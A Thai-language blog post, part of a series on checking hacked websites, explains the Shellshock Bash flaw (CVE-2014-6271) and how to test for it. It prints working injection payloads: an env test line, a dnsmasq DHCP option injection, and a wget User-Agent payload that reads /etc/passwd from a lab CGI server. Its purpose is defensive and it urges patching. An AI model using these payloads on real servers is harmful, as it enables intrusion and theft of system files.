Tag: shellshock

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #16

    ShellShock หรือในอีกชื่อคือ Bashdoor (เลียนเสียง Backdoor) ซะงั้น เป็นช่องโหว่ใน Shell ที่ใช้กันทั่วไปในตระกูล *NIX ทั้ง UNIX, Linux รวมถึง Mac OS X[1] ด้วย โดยอาศัยความสามารถในการเขียน Function ใส่ใน Environment Variable ได้ โดยไม่มีการตรวจสอบข้อมูลที่แถมมาทำให้สามารถแทรกคำสั่งของระบบปฏิบัติการได้

    ช่องโหว่นี้เริ่มประกาศเป็น CVE-2014-6271[2] โดย Bash Shell ที่ได้รับผลกระทบเริ่มตั้งแต่รุ่น 1.14.0 ถึง 4.3 ย้อนกลับไปตั้งแต่ปี 1999 กันเลยทีเดียว !!  มีผลกระทบกับ CGI-base Web Server (ได้แก่ Apache), OpenSSH Server, DHCP Clients และ Qmail Server โดยเป็น Bug ตาม CWE 78[3] Improper Sanitization of Special Elements used in an OS Command (‘OS Command Injection’)

    วิธีตรวจสอบ Bash Version ใช้คำสั่ง

    bash --version

    หากพบว่า ต่ำกว่า 4.3 ก็ให้ลองคำสั่งต่อไปนี้

    env x='() { :;}; echo Vulnerable' bash -c 'echo Hello World'

    ถ้าตอบมาว่า

    Vulnerable
    Hello World

    ก็แสดงว่า เป็นเครื่องนี้มีช่องโหว่ครับ

    อธิบายเพิ่มเติม

    1. คำสั่งในการสร้าง Environment Variable คือ

    env x=' … '

    โดยในที่นี้จะมีตัวแปร x เป็น Environment Variable

    2. ต่อมา ในตัวแปร x สามารถสร้าง Function ได้ ในรูปแบบ

    env x='() { :;};'

    ภายใน { } จะใส่คำสั่งอะไรก็ได้ แต่ในตัวอย่างนี้ เครื่องหมาย : มีความหมายเหมือนกับ true อะไรทำนองนั้น

    3. ปัญหาอยู่ตรงที่ว่า Bash Shell ที่มีปัญหา ไม่ได้ตรวจสอบว่า Environment Variable ที่สร้างแบบ Function นี้ สิ้นสุดแค่การสร้าง function ทำให้สามารถแทรกคำสั่งเพิ่มเติมได้ หลังเครื่องหมาย ;

    env x='() { :;}; echo Vulnerable'

    ลองใช้คำสั่ง

    env x='() { :;}; cat /etc/passwd'

    จะแสดงตัวแปร Environment Variable ทั้งหมด และพบตัวแปร x มีค่าเป็น function อยู่ แต่จะยังไม่มีอะไรเกิดขึ้น

    4. แต่เมื่อมีการเรียก Bash Shell ทำงาน ด้วยคำสั่ง

    env x='() { :;}; echo Vulnerable' bash -c 'echo Hello World'

    ก็จะเป็นการเรียกคำสั่งในตัวแปร x ออกมาด้วยนั่นเอง

    กรณีผลกระทบของ DHCP Client คือ ถ้าเครื่อง DHCP Server ตัวอย่างเช่น dnsmasq[4] สามารถตั้งค่า dhcp-option-force ซึ่งจะส่งคำสั่งไปยัง DHCP Client ที่ใช้ Bash Shell ทำงานตามต้องการได้ เช่น

    dhcp-option-force=100,() { :; }; echo ‘You are going to be shocked..ShellShock !!!’>/tmp/

    ในส่วนของ Web Security หากติดตั้ง Apache [5]และใช้งาน CGI บนเครื่องที่มี Bash Shell ที่มีช่องโหว่นี้ ก็จะเกิดปัญหา โดยอาศัยตัวแปร Agent String วิธีการทดสอบมีดังนี้

    1. ที่เครื่องเว็บเซิร์ฟเวอร์ที่มี Apache และใช้งาน CGI มี test.cgi ง่ายๆดังนี้

    #!/bin/bash
     echo "Content-type: text/plain"
     echo
     echo
     echo "Hi"

    2. ถ้าเรียกผ่าน Web Server มี IP Address เป็น 192.168.56.101 และจะเรียก URL ของ CGI ดังนี้

    http://192.168.56.101/cgi-bin/test.cgi
    

    การเรียกผ่าน Web Browser ก็จะทำงานตามปรกติ

    3. แต่ถ้าใช้ wget ผ่านทาง command linet ไป โดยกำหนด option -U เพื่อบอกว่า Agent String ที่ติดต่อไปคืออะไร ก็จะสามารถแทรกคำสั่งเพิ่มเติมได้ เพราะ Apache CGI ใช้ Bash Shell ในการทำงานนี้ เช่นใช้คำสั่ง

    wget -U "() { :;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.56.101/cgi-bin/test.cgi

    คำสั่งนี้ จะติดต่อไปยัง Web Server โดยแทนที่จะบอกว่าติดต่อไปจาก Agent อะไรธรรมดาๆ ก็จะแทรก Shell เข้าไปด้วย โดยตัวอย่างนี้ จะได้ /etc/passwd ออกมา เก็บไว้ที่เครื่อง ชื่อไฟล์ test.cgi

    ดังนั้น รีบ Patch ซะ

    ขอให้โชคดี


    [1] “Shellshock (software bug) – Wikipedia, the free encyclopedia.” 2014. 20 Jan. 2015 <http://en.wikipedia.org/wiki/Shellshock_(software_bug)>

    [2] “CVE-2014-6271 – CVE Details.” 2014. 20 Jan. 2015 <http://www.cvedetails.com/cve/CVE-2014-6271/>

    [3] “CWE – CWE-78: Improper Neutralization of Special …” 2006. 20 Jan. 2015 <http://cwe.mitre.org/data/definitions/78.html>

    [4] “shellshock dhcp exploitation – Security StackExchange.” 2014. 20 Jan. 2015 <http://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation>

    [5] “What is a specific example of how the Shellshock Bash bug …” 2014. 20 Jan. 2015 <http://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-how-the-shellshock-bash-bug-could-be-exploited>